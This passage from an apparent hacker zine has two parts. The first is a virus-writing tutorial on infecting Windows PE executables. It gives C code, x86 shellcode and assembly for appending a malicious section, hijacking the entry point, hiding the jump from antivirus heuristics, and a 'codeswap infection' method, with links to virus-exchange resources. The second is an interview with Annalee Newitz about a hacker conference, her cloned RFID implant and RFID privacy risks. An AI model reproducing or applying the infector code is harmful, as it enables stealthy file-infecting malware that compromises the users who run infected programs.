count,size,etc [3] Change the PE entry point [4] (OPTIONAL) Mark the file as infected (in case of a viral infection, to avoid double infections) Now, you might wonder how we allocate space for that extra section header? Simple .. we don't, there's always space for at least one extra section header in the PE file format. So let's get our hands dirty . First we must create a new section header, which should be located directly after the last section header in the original image. So let's locate the last section header. IMAGE_SECTION_HEADER* sectiontable=(IMAGE_SECTION_HEADER *)&szBuffer [iDosHeader->e_lfanew+0x18+iFileHead->SizeOfOptionalHeader]; // section table Note that 0x18 is the size of IMAGE_FILE_HEADER (0x14) + 0x4 (IMAGE_NT_HEADERS signature dword). So now sectiontable is an array of pointers to section tables. Accessing the last section header is fairly simple: IMAGE_SECTION_HEADER* lastsection=§iontable[iFileHead->NumberOfSections-1]; // last section Why sectioncount-1? Simple, because if there are 2 sections, our last one will be element 1 in the array (arrays start at 0 remember ;) So our new section will have to be located here: IMAGE_SECTION_HEADER* newsection=§iontable[iFileHead->NumberOfSections++]; // our new section The ++ auto-increments the number of sections, updating the PE image accordingly. Let's set up our new section: strcpy((char *)&newsection->Name,".nomenumbra"); // new section's name As said earlier, section data, like size,offsets and RVAs need to be aligned according to PE details. A simple macro for aligning values is this: #define ALIGN(X,Y) ((X+(Y-1))&(~(Y-1))) which will align value X according to value Y newsection->VirtualAddress=ALIGN(lastsection->misc.VirtualSize+lastsection->VirtualAddress,iOptHead->SectionAlignment); // align new rva newsection->PointerToRawData=ALIGN(lastsection->SizeOfRawData+lastsection->PointerToRawData,iOptHead->FileAlignment); // align new physical offset newsection->Misc.VirtualSize=ALIGN(shellcode_size,iOptHead->SectionAlignment); // align new virtual size newsection->SizeOfRawData=ALIGN(shellcode_size,iOptHead->FileAlignment); // align new physical size newsection->Characteristics=IMAGE_SCN_CNT_CODE| IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE; // section flags hurray! Now we Adjusted the new section fields, let us update the PE image and write our malicious code to the new section: iOptHead->SizeOfCode+=newsection->misc.VirtualSize; // new code size iOptHead->SizeOfImage=newsection->VirtualAddress+newsection->Misc.VirtualSize; // new image size // important to adjust this value since the EOF will be set here! FileSize = newsection->PointerToRawData+newsection->SizeOfRawData; // physical offset + physical size (EOF) CreateJumper(scode,iOptHead->ImageBase+iOptHead->AddressOfEntryPoint); iOptHead->AddressOfEntryPoint=newsection->VirtualAddress; // update the entry point to make it point into our code for(i = 0; i < shellcode_size; i++) szBuffer[newsection->PointerToRawData+i] = scode[i];// write our malicious // code to the new data (that's why we // mapped the file with size + // shellcode_size, to avoid b0fs here) This is basically all the code that is necessary to add an extra section and make code execution start there. This leaves us with one more subject, the CreateJumper function. This function will adjust our malicious code to transfer control back to the original entry point after it's done executing. Say we'd have a piece of code that does nothing else than jump to the original entry point: unsigned char scode[7]; memset(scode,0,7); strcpy(scode,"\xBF\xEF\xBE\xAD\xDE\" // mov edi,0xDEADBEEF "xFF\xE7" // jmp edi ); int shellcode_size = sizeof(scode); #define ENTY_POINT_OFFSET 1 void CreateJumper(unsigned char* scode,DWORD EntryPoint) { *(DWORD*)(scode+ENTY_POINT_OFFSET) = EntryPoint; } The CreateJumper function will modify the DWORD at scode+1 (the beginning of the little endian 0xDEADBEEF) to be the original EntryPoint of the PE image. This piece of code will move that address into edi and then jump there. Just prepend whatever malicious code you want to this jump and update the ENTRY_POINT_OFFSET accordingly to have it work. Do note however that your malicious code may make no direct address references, but needs to either do a delta offset adjustment, like all PE Appending viruses do (just read lord Julus' tutorial in the resource list) or use use the call/jmp/pop trick like shellcode usually does, then all will be fine. Now let us look at the downsides of PE Appending. First of all it's fairly obvious when a PE file's entry point points outside the usual code section. Most debuggers will immediately alert the reverser of a potentially self-modifying/packed or infected PE file. Also anti-viral heuristics might report the file (when there are some other factors present as well, like an incorrect checksum, which usually indicates an infection mark, to prevent double-infection) as being infected. To counter these downsides, EPO was invented. EntryPoint Obfuscation/Obscuration (EPO) is a technique that will leave the EntryPoint intact but still make the malicious code execute first. How can we do this? Well the most basic method would be the one employed by the old Cabanas virus, we take the first 7 bytes at the original EntryPoint and overwrite them with a jump to our new section (or we could simply extend the original code section and include our code there, which is fairly trivial when adapting the above code a bit). Let us look at the following example: Before modification: {ENTRY_POINT@.text} 00401000 >/$ 6A 00 PUSH 0 ; /Style = MB_OK|MB_APPLMODAL 00401002 |. 68 00204000 PUSH calc.00402000 ; |Title = "shitcrypt v1.0 test 1 2 3 4" 00401007 |. 68 00204000 PUSH calc.00402000 ; |Text = "shitcrypt v1.0 test 1 2 3 4" 0040100C |. 6A 00 PUSH 0 ; |hOwner = NULL 0040100E |. E8 40000000 CALL ; \MessageBoxA After modification: {ENTRY_POINT@.text} 00401000 > $ BF 00504000 MOV EDI,calc.00405000 ; New section with our code 00401005 ? FFE7 JMP EDI 00401007 . 68 00204000 PUSH calc.00402000 ; |Text = "shitcrypt v1.0 test 1 2 3 4" 0040100C . 6A 00 PUSH 0 ; |hOwner = NULL 0040100E . E8 40000000 CALL ; \MessageBoxA What is important is that at the end of our malicious code there should be a reset of the original 7 bytes at the entrypoint and then a jump back to the entrypoint. The following code would accomplish that: mov edi,0DEADBEEFh ; 0xDEADBEEF will be modified into the entrypoint address mov eax,0CAFEBABEh ; eax is the first 4 bytes of the original code at the entrypoint stosd ; store them xor eax,eax mov ax,0DEADh ; next 2 bytes of the original code stosw xor eax,eax mov al,0Ah ; last byte of the original code stosb sub edi,7 ; substract 7 from edi and jump there, edi is now the entrypoint address again. jmp edi In shellcode form it would look like this: unsigned char scode[29]; memset(scode,0,29); strcpy(scode, "\xBF\xEF\xBE\xAD\xDE" // mov edi,entrypoint "\xB8\xBE\xBA\xFE\xCA" // mov eax,original dword @ entrypoint "\xAB" // stosd "\x33\xC0" // xor eax,eax "\x66\xB8\xAD\xDE" // mov ax,orignal word @ entrypoint + 4 "\x66\xAB" // stosw "\x33\xC0" // xor eax,eax "\xB0\x0A" // mov al,orignal byte @ entrypoint + 6 "\xAA" // stosb "\x83\xEF\x07" // sub edi,7 (edi == entrypoint again) "\xFF\xE7" // jmp edi ); Now we should modify the values (entrypoint, original bytes) at the according offsets and write this piece of code to the new section, of course we should first prepend our real malicious code to this restoration code. Also note that the section flags of the code section should have the addition of being writeable (do a logical or on them with IMAGE_SCN_MEM_WRITE) in order to allow code restoration Now this method is quite ok, but most AV scanners will still pick this up by checking for a suspicious jump outside of the current section at the entrypoint. GriYo's Marburg virus added random junk code before the jump to another section, but newer AV emulators can trace trough it, so we need to find another method for true, stealthy EPO. In his article "EPO: Entrypoint Obscuring" GriYo introduced a method of scanning the target code section for API calls and inserting an EPO jump after them. This method involved looking for the FF15 opcode (call opcode) check if the lied within our code section (by checking if the rva ( - imagebase) lied between the code section VirtualAddress and VirtualAddress+VirtualSize, if so it would overwrite the instruction after the call with a call to our viral code, where our viral code would simply pop the retaddr of the original instruction so it could set everything back again. The benefit of this method was that AV scanners would first spot a call inside the code section and not mark the file as employing EPO. The mayor downside was that if the first suitable infection spot lied after a conditional branch there might have been a chance that the virus wouldn't get executed at all. He improved this as he discussed in detail in his article "EPO: Entrypoint Obscuring". Now, although this method proved quite efficient Piotr Bania raised some important questions in his article "Fighting EPO viruses". Quoting him: "As mentioned before, the virus injects the call instruction by overwriting it with a randomly found call. As the application size grows (and also the injected call range from the entry-point), it becomes increasingly difficult to find the injection of the virus. On the other hand, while using this EPO technique reduces the risk of virus execution, there are also some cases when the "call-to-virus" will not be executed at all. At this point, let's find a way to detect such injections such that it does not cause false alarms. How difficult is it to find CTX.Phage injections? First of all, the virus inserts a call instruction as follows: E8 ?? ?? ?? ?? CALL XXXXXXXX Where: E8 is the CALL instruction opcode ?? ?? ?? ?? is the instruction operands (destination) Before we go any further, let's summarize all the information we know about the current EPO: The injection is always done somewhere behind the entry-point. The injected call executes the virus code which is stored always in last section (this bit of information is really helpful). As the reader probably knows, we could simply search for 0xE8 bytes (call opcodes) but there is large possibility that we might find some "suspicious" call that thands in non-call instruction, for example: 68 332211E8 PUSH E8112233 As you can see, this is the push instruction, but the scanner finds the E8 byte and could consider it as a call. Unless we don't want to build up our disassembler engine (which is very long and hard work) we need to find another way. Yes, you guessed it: we need to add a condition for the E8 byte scanning routine, remembering that the call always executes code that resides in last section! Now that everything is clear, here are the conditions we require: temp_loc = (DWORD)((DWORD)pSHC->VirtualAddress + i + (*(DWORD*)loc)) + 5; if (temp_loc >= pSH->VirtualAddress && temp_loc <= pSH->VirtualAddress + pSH->Misc.VirtualSize) BAD_CALL = 1; Where: temp_loc is the calculated destination of found call (E8 opcode) pSH is the header of last section + 5 is the size of call instruction (opcode + destination) A sample temp_loc calculation might look as follows: Scanned instruction: 00401025 \. E8 58270000 CALL Calculation: temp_loc = 1025 (virtual address) + 00002758 (call destination) + 5 (size of call instruction) If the temp_loc address resides somewhere between last section's virtual address (start) and the last section's virtual address + its virtual size, the call is marked as suspicious. " This method works like a charm indeed, hence why many heuristics scanners employ this method. There is however one crucial weakness in this method: "The injected call executes the virus code which is stored always in last section (this bit of information is really helpful)." It relies on the fact that the EPO jump is considered to always jump to an appended section. So what if it didn't? Hmm interesting. We have to make a choice as in what is the most important goal we want to achieve. "Full" stealth, or making sure the host app code execution flow doesn't get corrupted in ANY way. If we choose the first or second, we might do the following: Scan host code for a jump/call inside the host code, see where it references to and at this point insert a jump/call to our viral code stored in, for example, an extra section. However there is one BIG downside (apart from the same improbability of viral execution as with GriYo's method) in this case, check the following example: {ENTRYPOINT@HOSTECODE} test eax,eax [0] call Label1 Label1: [1] mov ebx,0xCAFEBABE jz roflmao roflmao: When we would follow our method, we would encounter the call at [0] and insert our jump/call to the viral code at [1]. Now the problem lies in the fact that after the test eax,eax before [0], the zero flag is set, code execution continues from [1] to our viral code and potentially the zero flag gets messed up, rendering different results at the jz after [1]. We can't possibly take all this into account so we'll have to find another, reliable, stealthy method without interfering with code execution flow. To do this, I thought up a way i'd like to call "Codeswap infection": [0] Find section the entrypoint is located in [1] Check if there is enough space in this section for our malicous code + jump to restoration routine [2] Generate a random address inside this section, leaving us enough space to store our mal. code + jump [3] Create a new section of size = sizeof(malcode)+sizeof(jump)+ sizeof(restorationcode) [4] Backup X bytes from the address in the host code we are gonna store our mal. code and write these X bytes to the new section. X is the size of the mal. code + jump [5] Write our mal. code to that address [6] Create a jump to address (RVA of new section + sizeof(malcode)+sizeof(jump)), this address is right after our backed up original code [7] Append this jump to the mal. code in the host code body [8] Create the restoration routine and write it to the address generated in[6] [9] Point the PE entrypoint to the address in the host code we wrote our mal. code to Our restoration code should look like: mov edi,0DEADBEEFh ; malicious code address mov esi,0CAFEBABEh ; new section RVA+imagebase mov ecx,0D3F4C3D1h ; section length looplen: lodsb stosb loop looplen mov edi,0DEADFED2h ; PE entrypoint jmp edi I will now provide some sample code in C which should be easily portable to ASM for anyone with at least some experience in PE manipulation and a decent understanding of ASM. The reason i choose to write this code in C is that the whole concept will be a lot clearer this way and to help people who are not that familiar with everyday ASM usage: #define MAL_OFFSET 1 #define ORG_OFFSET 6 #define LEN_OFFSET 11 #define ENT_OFFSET 20 void CreateRestorationCode(unsigned char* scode,DWORD malcode,DWORD newsect, DWORD restorelen,DWORD entry) { *(DWORD*)(scode+MAL_OFFSET) = malcode; *(DWORD*)(scode+ORG_OFFSET) = newsect; *(DWORD*)(scode+LEN_OFFSET) = restorelen; *(DWORD*)(scode+ENT_OFFSET) = entry; } //scode is our malicious code unsigned char jmpcode[7]; // a piece of jump code, a jump to the next // shatter piece that is will be inserted // after each shatterpiece, the jump after // the last shatterpiece will jump to the // restorationcode memset(jmpcode,0,7); strcpy(jmpcode,"\xBF\xEF\xBE\xAD\xDE\xFF\xE7"); unsigned char restorecode[26]; memset(restorecode,0,26); strcpy(restorecode,"\xBF\xEF\xBE\xAD\xDE" // mov edi, "\xBE\xBE\xBA\xFE\xCA" // mov esi, "\xB9\xD1\xC3\xF4\xD3" // mov ecx, // "\xAC" // lodsb "\xAA" // stosb "\xE2\xFC" //loop "\xBF\xD2\xFE\xAD\xDE" // mov edi, "\xFF\xE7"); // jmp edi int shellcode_size = sizeof(scode)+sizeof(jmpcode)+sizeof(restorecode); IMAGE_SECTION_HEADER* sectiontable=(IMAGE_SECTION_HEADER *) &szBuffer[iDosHeader->e_lfanew+0x18+iFileHeader ->SizeOfOptionalHeader]; // section table IMAGE_SECTION_HEADER* lastsection=§iontable[iFileHead-> NumberOfSections-1]; // last section int entrysection_id = 0; for(i = 0; i < iFileHead->NumberOfSections;i++) { if((iOptHead->AddressOfEntryPoint >= sectiontable[i].VirtualAddress) && (iOptHead->AddressOfEntryPoint <= sectiontable[i].VirtualAddress+sectiontable[i].Misc.VirtualSize)) { // entrypoint section id entrysection_id = i; break; } } if(sectiontable[entrysection_id].oe_physsize < (sizeof(scode)+sizeof(jmpcode))) { // quite code here and reset everything! } DWORD TargetRawAddr = rand()%(sectiontable[entrysection_id]. SizeOfRawData-(sizeof(scode)+sizeof(jmpcode))) + sectiontable[entrysection_id].PointerToRawData; // generate a random address in the code // section where our viral code will fit DWORD delta = (TargetRawAddr - sectiontable[entrysection_id].PointerToRawData); DWORD TargetRVA = sectiontable[entrysection_id].VirtualAddress + delta; // virtualrva + physical delta printf("[+]Inserting viral code at RVA %#x == Raw addr %#x...\n", TargetRVA,TargetRawAddr); newsection=§iontable[iFileHead->NumberOfSections++]; // our new section strcpy((char *)&newsection->Name,SectName); // new section's name newsection->VirtualAddress=ALIGN(lastsection-> Misc.VirtualSize+lastsection->VirtualAddress,iOptHead-> SectionAlignment); // align new rva newsection->PointerToRawData=ALIGN(lastsection->SizeOfRawData+ lastsection->PointerToRawData,iOptHead->FileAlignment); // align new physical offset newsection->Misc.VirtualSize=ALIGN(shellcode_size,iOptHead-> SectionAlignment); // align new virtual size newsection->SizeOfRawData=ALIGN(shellcode_size,iOptHead->FileAlignment); // align new physical size newsection->Characteristics=IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ; //set new section flags so we can edit printf("[+]Created new section...\n"); iOptHead->SizeOfCode+=newsection->Misc.VirtualSize; // new code size iOptHead->SizeOfImage=newsection->VirtualAddress+newsection-> Misc.VirtualSize; // new image size FileSize = newsection->PointerToRawData+newsection->SizeOfRawData; // physical offset + physicall size (EOF) printf("[+]Updated PE image...\n"); // copy original bytes to new section DWORD NewSectionBackup_Addr = base+newsection->PointerToRawData; // new section memcpy(NewSectionBackup_Addr,base+TargetRawAddr, sizeof(scode)+sizeof(jmpcode)); // backup space that will be // overwriten (malicious scode // and jumper code) printf("[+]'Backed up' original data in new section...\n"); memcpy(base+TargetRawAddr,&scode,sizeof(scode));// write malicious code printf("[+] Wrote malicious code to target spot...\n"); DWORD RestoreAddr = iOptHead->ImageBase+newsection-> VirtualAddress+sizeof(scode)+sizeof(jmpcode); // address of restoration // routine in new // section, located after // backup data CreateJumper(jmpcode,RestoreAddr);// 'backup section' addr, points to // restoration routine memcpy(base+TargetRawAddr+sizeof(scode),&jmpcode,sizeof(jmpcode)); // copy jumper code after malicious // code printf("[+]Created jumper code to restoration routine, appended it after malicious code...\n"); CreateRestorationCode(restorecode,iOptHead->ImageBase+TargetRVA, iOptHead->ImageBase+newsection->VirtualAddress,sizeof(scode)+ sizeof(jmpcode),iOptHead->ImageBase+iOptHead->AddressOfEntryPoint); // create restoration code memcpy(base+newsection->PointerToRawData+sizeof(scode)+sizeof(jmpcode), &restorecode,sizeof(restorecode)); printf("[+]Created restoration routine, appended it after backup data in new section...\n"); iOptHead->AddressOfEntryPoint = TargetRVA; There are of course many variations possible, we could for example leave the PE entrypoint intact and insert a jump (with potential opaque-predicate based dummy code to confuse emulators) to our piece of overwritten host code, we could also locate the restoration routine inside the host body and make it self-restore. Important would be to randomize the registers used in the jump code-linking. Just, instead of 0xBF (mov edi) use another register, randomize this, it's fairly easy. The same goes in this case for the jmp edi (0xFF 0xE7). Another idea might be to position our mal. code + jump BEFORE the entrypoint (if there is space of course), leave the EP intact and insert a jump to this spot at the entrypoint. Yet another idea might be to shatter the code over different sections and link them together with jumps, creating code islands like z0mbie's code integration engine from Zmist. There are many plays on this theme as you can see and although there are hordes of things that could use some fixing/perfection, it does get you familiar with the possibilities of EPO, and gives you a jump to designing your own proffered methods. [0x06] Resources: http://msdn.microsoft.com/msdn mag/issues/02/02/PE/default.aspx http://msdn2.microsoft.com/en-us/library/ms680195.aspx "Appending to the PE File" Lord Julus - 1999 http://vx.netlux.org/lib/static/vdat/tuappend.htm "Entrypoint Obscuring" GriYo http://vx.netlux.org/lib/vgy01.html "Fighting EPO viruses" Piotr Bania http://vx.netlux.org/lib/apb00.html [0x07] Shoutz'n greetz Shouts and greets go to the Nullsec folks ;), the whole of RRLF, the .aware crew, xzziroz, PullThePlug, SmashTheStack, HackThisSite, the #dutch folks , #vxers and #vx-lab on undernet, irc.blackhat.ru, what's left of 29A and every true blackhat and scene lover out there, stick together guys! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ################################################################################ capitalist monsters, RFID & internet tubes An interview with Annalee Newitz. ################################################################################ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Annalee Newitz is a freelance writer from San Francisco, CA. She is also the editor of Wired Magazine and a general expert on all things geek. flatline from hackbloc sat down with her one morning to ask her some questions. Hack This Zine: So you recently attended the Chaos Communication Congress in Germany. Annalee Newitz: I did, yea that was fun. HTZ: What was it like? Can you tell us about it? A: Well like a lot of hacker conventions it sort of combined politics and fun with highly technical talks and demos so it was a really nice combination of, you know I mean it really seemed like people always wanted to be thinking of the social impact of the technology's they were working on, so it definitely had a very, um it was much more hacker oriented than say a software development conference, and I got to meet a lot of people who I only got to know through email and stuff so that was great. HTZ: Is the correlation of social justice and hacker activities more prevalent over in Europe than in the US? Is it the same? A: I think it depends on the group of people that you are talking about. I think in Europe generally people feel a lot more engaged with the way that the government process impacts technological development. partly thats because governments in western European countries tend to be stronger and they tend to be governments that are parliamentary systems so people feel a lot more represented and I think they also, I think they have a lot more hope about the way that government can play a positive role about shaping industry and shaping social relations. I think in the US there is a; lot of, not unwarranted cynicism, about the role of government. Government in the US has stymied scientific progress particularly under bush 2. So I mean you know people who work in the sciences and who work in technology are very leery of government intervention, but I also feel like there is a lot of hopelessness about whether we could influence government and whether government will ever do anything positive for us. So when you do have a conference like say HOPE in NY which is a fantastic political hacker conference. You have a lot of venting about how government is destroying our ability to innovate and to do technology as opposed to how can we use politics to make technology better. There is just sort of like how the hell can we get the government off of our back which is perfectly understandable given the way the government has been attempting to prevent people from doing everything from having inter operable machines to access to everything we say if we are using AT&T for our phone provider or our network provider. HTZ: You used the phrase “Using our politics to make our technology better. What about the reverse of that, as in using technology to further our politics for things like protest do you feel like that has a place? A: Absolutely, and I think that where people in the US are thinking in very interesting ways. Obviously moveon.org is kind of the perennial example in the way that they have been able to mobilize people online. And I think move on is great I do have some problems with their methods in some ways I actually have been spammed by move on [laughs]. I do not think that they should be shut down constantly by AOL as they have been, or they are not shut down but AOL will often refuse to route their mail which I think is completely terrible. But, you know there is other examples too, just really simple stuff, like flash mob techniques on cell phones that people used to coordinate protests, and when there were anti-war protests New York there were a lot of groups of people saying, well people were messaging back and forth on their phones saying, the cops are over here on 5th lets move over to 6th. And people were sort of moving back and forth based on crowd communication. And I think thats fantastic and its a fairly simple tool for organizing a protest and for keeping it peacefull and for keeping it going. So thats fantastic. And of course people talk about the “blog-o-sphere” and how blogs can help mobilize political movements, and I think thats kind of like saying that TV can help mobilize political movements. Its like yea ok, blogs, tv, that to me seems kind of, um.. HTZ: Well, It's still passive media. A: Its not, now I don't want to collapse it completely, because I don't think that blogs are completely passive but I think that the way that a lot of politicians are going to be using blogs in the upcoming election will be an extension of TV. Its like “oh, its Hillary Clinton's blog, look shes saying stuff about kids because people want women to say stuff about kids when they are running for office. Look how much of a nice lady she is.” So that I mean, I don't KNOW that shes going to do that, but I would not be surprised at all if thats what we get from it. HTZ: I hadn't heard that the presidential candidates were going to be blogging, it does make sense though. A: Yea there was an article in the times, it was either yesterday or the day before, it was being discussed what role the blogs will play in the upcoming election, and I wouldn't be surprised if there was a Hillary blog, I mean, maybe she wont be writing it, maybe it will be a ghost writer or something. HTZ: I know I would love to read Jeb Bush's blog personally. A: No, he should have a podcast. [laughs] HTZ: Um, ok, so you had an RFID chip implanted in your hand about a year ago correct? A: Actually it was in my arm. HTZ: Oh ok, in your arm. So you've had that in your arm for about a year now and you've had the chance to live with it for a while. How has that affected your life, how do you feel about it, and what is the current status on the chip. A: Um the chip is alive and well its in my right upper arm and I got the verichip. Its actually a pet tag, and the company designates a certain area of the body where the chip has to go in ad because a surgeon implanted mine he followed the directions. Unlike other people who have gotten it put in their hands where it is easier to access, and they have actually done that themselves, which I don't do because I don't actually do surgery on myself. I'm not that geeky. so anyway, the chip is working, I am very pleased that the work that I did and the work that Johnathan Westhues did. He hacked the chip, or actually cloned the chip, and our work has gotten out into the public sphere and has made verichip's business plan look rather foolish. And verichip keeps refusing to acknowledge how easy it is to clone these tags and keeps claiming that because they can implant it in someones arm that somehow makes it ultra secure. But I think that anyone who is interested in buying secure access devices which is what these are supposed to be, has seen the press around what we did, can see that it is a terrible idea, I mean, why would you implant an insecure thing into your arm, I mean, so now its in your arm forever and it just sucks. So I've been really happy with the outcome. The reason I haven't gotten it remove is because, A. its kind of cool to have something like that in your arm but B. It's actually a really horrible process because its so small. And so they really have to cut you open and dig it out. Putting it in is really quick. Its just a cantelated needle, pook, they just stick it in. So There's no reason for me to take it out. I'm not using it for anything secure, at this point its just kind of a neat party trick, “Look I can broadcast a number from my arm.” And Johnathan who designed the cloner device which allows him to read the ID and then rebroadcast it, actually made a special device and gave it to me that will automatically read and clone it simultaneously. Well not simultaneously but in rapid succession. And I had to take it through and airport. And even to me it kind of looked like a bomb. I mean its just this sort of chip board, it has a bunch of silicon kind of globbed on top of it, this white goo, and its attached to this very phallic looking antenna. It does not really look like an antenna, It looks like a bunch of wire wrapped around a magnet, and it has batteries in it. So when I tried to go through security, I was detained, and they were fairly disturbed by this item. [Laughs] Actually I have to say that the security guys were fairly nice about it, after I explained in great detail what it was and it was clear that I was just a nerd and not a terrorist. So they finally let me stick it into stick it in my suitcase and check it. So that was exciting. HTZ: Thats good! A: So yea, now I have my cloner. HTZ: This close from being on the no fly list forever. A: Yea, well I don't know, they may have put me on a list or something! HTZ: So, say, younger hackers, younger geeks, who for, “mad scientist” purposes are considering getting an RFID chip implanted in themselves. Would you recommend that to them, for experimental purposes, or would you recommend them waiting for more secure chips? A: Well it really depends on what people want to do. I think, especially if they are going to get it put in. Well first I would say get it put into your hand, because of course its a lot easier to get out if you put it in your hand. The problem with it in your arm is that There's, your arm has fat and muscle and all kinds of crap. So, There's already chips on the market that have fairly decent encryption. And there is a guy up in Seattle, Amal Gafstra who was written about a lot of this stuff who actually has 2 chips, one in each hand. One of which has really good encryption and the other which has a sort of programmable field that is not protected in any way. And he has had lots of fun playing with them. He has a book out called “RFID Toys” or something like that. You can look it up on Google But he has a lot of great experiments that you can do like, use it to unlock your car or use it to boot up your computer or something. So I really like the idea of high tech body modification and I like the idea of people experimenting safely with trying to become like cyborgs my only concern is don't get infected and try to have someone around who has skills with sterilization. And you know, don't take out your heart! Don't try to mod your liver. You know, mod safely. HTZ: No home brew kidneys? A: Yea maybe not, you know! We don't have a total artificial kidney yet, well I guess we kind of do, but not to do at home. HTZ: Yea. So there is a lot of buzz right now about RFID chips, from the RFID industry, talking about how great they are, and you know, of course all the standard things that any industry would support in their product, and also from the ACLU and other people talking about how they could be a threat to freedom and how they could be used as tracking devices. Which, I'm not even sure if the tracking devices idea is technologically sound. At least I haven't been able to figure out how to use an RFID chip as a tracking device yet. But do you think that they could be a threat to freedom or liberty. A: I definitely do and there are ways that you can use them and tracking devices, even now. The way that would work is a lot of the RFID's that are being manufactured now unlike the one on my arm are active RFID's. That means that they have a power supply on board. They are not powered by the reader. Which means that they have a read range of several yards in some cases. So say for example you had these new Nike shoes that have an RFID in them, and they are supposed to communicate with your IPOD, its called the Nike Plus Shoes, and they send information about your running speed and the length of time you have been running or walking to your Ipod for exercise so you can look and see how long you've been running or walking and the thing is, the RFID on those shoes is default on. and so even when you are not using them as a fun exercise tool they are broadcasting your unique ID that corresponds to you because they are your speakers and also probably somewhere to some credit card database. But the point is that if somebody were interested in tracking where you were going. If they knew that you go to school someplace or work someplace, they could build a hundred dollar RFID reader, or something cheaper with some sort of a wifi stick on it and plant that those in areas where they think you are likely to go and start tracking when you are certain places. And those readers could communicate with a computer network. Like I said some sort of wifi stick thing. So I mean at this point is someone likely to do that unless they are just completely crazed or working for the NSA or something like that, maybe thats going to be a rare occurrence, but I think in 2-3 years its going to be quite easy and cheap for people to do that, and the thing is as RFID becomes more ubiquitous in times and clothing and other things that we are trying to track, you know, for possibly legitimate reasons like keeping track of equipment in a building or something, its going to become easy for people to take over the readers or just own up the databases that are communicating with those readers and just get access to all that information, so say if you have an RFID tag in your work and there are RFID readers all around your work that are tracking you and somebody says well I wanna know where you are going everyday so I can capture you for whatever reason or so that I can rob your house because I know when you are at work, so I can just break into the crappy oracle back end database that they have and find out where you are, “Oh great heres your ID and you are in the bathroom, so I can go rob your office” And I think thats definitely a danger, and I think as well, it just adds, the idea that we will all be trackable, adds to peoples sense that they don't have any privacy and it just sort of enhances to the surveillance society feeling that we already have, that there's fewer and fewer private spaces. Oh and one more thing that I was going to add to that that your readers might not have thought of which is that as you have this kind of RFID location information being stored in private databases, there is a lot of danger that possibly law enforcement can get that kind of data without court over site, because its privately owned data, so that company can sell that data, they could become a choice point type company and they could sell that data to law enforcement, perfectly legally. And so law enforcement can start tracking you without a warrant. And thats a very realistic picture. Because we already know that Law enforcement works with choice point to get data on people, so thats something that Civil liberties folks really worry about, like how does that allow law enforcement to gather data on people. This sort of work around. And thats actually a very big issue. HTZ: Well something thats almost as scary as law enforcement is advertisers and spammers. I could see horrible repercussions from those people getting a hold of this technology. Recently, the mini Cooper car company put up a billboard in San Francisco where you put up an RFID chip on your car, and when you drive by it will say some message that you put in. A: Oh god no, I didn't see that, thats, wow, thats nice! [laughs]. Well yea thats exactly, th